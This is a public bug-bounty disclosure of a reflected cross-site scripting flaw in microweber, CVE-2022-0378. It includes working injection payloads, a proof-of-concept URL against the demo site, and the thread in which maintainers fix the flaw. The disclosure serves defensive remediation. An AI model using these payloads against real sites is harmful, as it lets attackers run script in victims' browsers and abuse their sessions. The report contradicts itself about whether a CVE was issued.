Cross-site Scripting (XSS) - Reflected in microweber/microweber

0

Valid Reported on Jan 2nd 2022

Description

XSS - Cross-Site Scripting is vulnerability which allows attackers to execute arbitrary javascript code in the browser of victim.
PAYLOAD for **firefox**: `a' onafterscriptexecute=alert(document.domain) c='a` (requires NO user-interaction)
PAYLOAD for **all major browsers**: `a' onclick=alert(document.domain) c='a` (requires user-interaction)
NOTE: I'm using firefox, so I used the first payload in the PoC. You can refer to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet to know which xss payloads can be triggered in other browsers

Proof of Concept

On firefox browser, visit
`https://demo.microweber.org/demo/module/?module=admin%2Fmodules%2Fmanage&id=zaasdasdasd"+onmousemove%3dalert(1)+cc="asd&data-show-ui=admin&class=a%27+onafterscriptexecute%3dalert(document.domain)+c%20%3d'aa&from_url=https://demo.microweber.org`
XSS alert will pop-up showing the domain name.

Impact

The attacker can execute any arbitrary javascript code and acheive the following:
Steal CSRF token of the users and do any unintended actions on their behalf like buy a product etc.
Execute malicious javascript e.g. crypto miners
and many more...

CVE

CVE-2022-0378
(Published)

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Reflected

Severity
High (7.1)

Visibility
Public

Status
Fixed

Found by

Rohan Sharma
@r0hansh
unranked

Fixed by

Peter Ivanov
@peter-mw
maintainer

This report was seen 873 times.

We are processing your report and will contact the **microweber** team within 24 hours. a year ago

We have contacted a member of the **microweber** team and are waiting to hear back a year ago

We have sent a follow up to the **microweber** team. We will try again in 7 days. a year ago

Peter Ivanov a year ago Maintainer

Hi thanks for report, we will fix it and post when its ready

Rohan Sharma a year ago

Hi Peter,

Please validate this vulnerability.

We have sent a second follow up to the **microweber** team. We will try again in 10 days.

10 months ago

Bozhidar 10 months ago Maintainer

https://github.com/microweber/microweber/commit/fc7e1a026735b93f0e0047700d08c44954fce9ce

Bozhidar 10 months ago Maintainer

done

Rohan Sharma 10 months ago Researcher

yes, it looks fixed.
Can you please `validate` this bug? there will be a button on the right side on this report.
@maintainer

We have sent a third and final follow up to the **microweber** team. This report is now considered stale. 10 months ago

Peter Ivanov validated this vulnerability 10 months ago

Rohan Sharma has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Peter Ivanov marked this as fixed in **1.2.11** with commit **fc7e1a** 10 months ago

Peter Ivanov has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation